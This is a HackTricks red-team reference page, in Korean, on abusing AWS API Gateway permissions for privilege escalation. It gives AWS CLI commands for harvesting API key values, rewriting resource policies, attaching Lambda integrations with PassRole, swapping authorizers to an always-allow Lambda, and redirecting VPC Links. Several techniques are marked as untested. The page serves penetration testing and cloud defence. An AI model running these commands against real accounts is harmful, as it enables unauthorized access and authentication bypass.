AWS - Apigateway Privesc

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Apigateway

자세한 내용은 다음을 확인하세요:

AWS - API Gateway Enum

apigateway:POST

이 권한이 있으면 구성된 APIs의 API keys를 생성할 수 있습니다 (per region).

aws --region <region> apigateway create-api-key

잠재적 영향: 이 기술로 privesc는 할 수 없지만 민감한 정보에 접근할 수 있습니다.

apigateway:GET

이 권한이 있으면 구성된 API(리전별)의 생성된 API 키를 가져올 수 있습니다.

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potential Impact: 이 기술로는 privesc할 수 없지만 민감한 정보에 접근할 수 있습니다.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

이 권한이 있으면 API의 리소스 정책을 수정하여 자신에게 해당 API를 호출할 수 있는 권한을 부여하고, API gateway가 가질 수 있는 잠재적 접근 권한을 악용할 수 있습니다(예: 취약한 lambda를 호출하는 경우).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

잠재적 영향: You, usually, won’t be able to privesc directly with this technique but you might get access to sensitive info.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

테스트 필요

권한 apigateway:PutIntegration, apigateway:CreateDeployment, 및 iam:PassRole가 있는 공격자는 IAM 역할이 연결된 Lambda 함수를 사용해 기존 API Gateway REST API에 새로운 통합(integration)을 추가할 수 있습니다. 그런 다음 공격자는 Lambda 함수를 트리거하여 임의의 코드를 실행하고 IAM 역할과 연관된 리소스에 접근할 가능성이 있습니다.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: Lambda function의 IAM role과 연관된 리소스에 대한 액세스.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

테스트 필요

권한 apigateway:UpdateAuthorizerapigateway:CreateDeployment를 가진 공격자는 기존 API Gateway authorizer를 수정하여 보안 검사를 우회할 수 있습니다(예: 항상 “allow“를 반환하는 Lambda로 가리키도록 변경) 또는 API 요청이 발생할 때 임의의 코드를 실행할 수 있습니다.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

가능한 영향: 보안 검사 우회, API 리소스에 대한 무단 접근.

HTTP APIs / apigatewayv2 변형

HTTP APIs (API Gateway v2)의 경우, 동등한 작업은 apigatewayv2를 통해 authorizer를 업데이트하는 것입니다:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

테스트 필요

권한 apigateway:UpdateVpcLink을 가진 공격자는 기존 VPC Link를 다른 Network Load Balancer로 가리키도록 수정하여, 프라이빗 API 트래픽을 무단 또는 악의적인 리소스로 리다이렉트할 수 있습니다.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potential Impact: 비공개 API 리소스에 대한 무단 접근, API 트래픽의 가로채기 또는 중단.

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기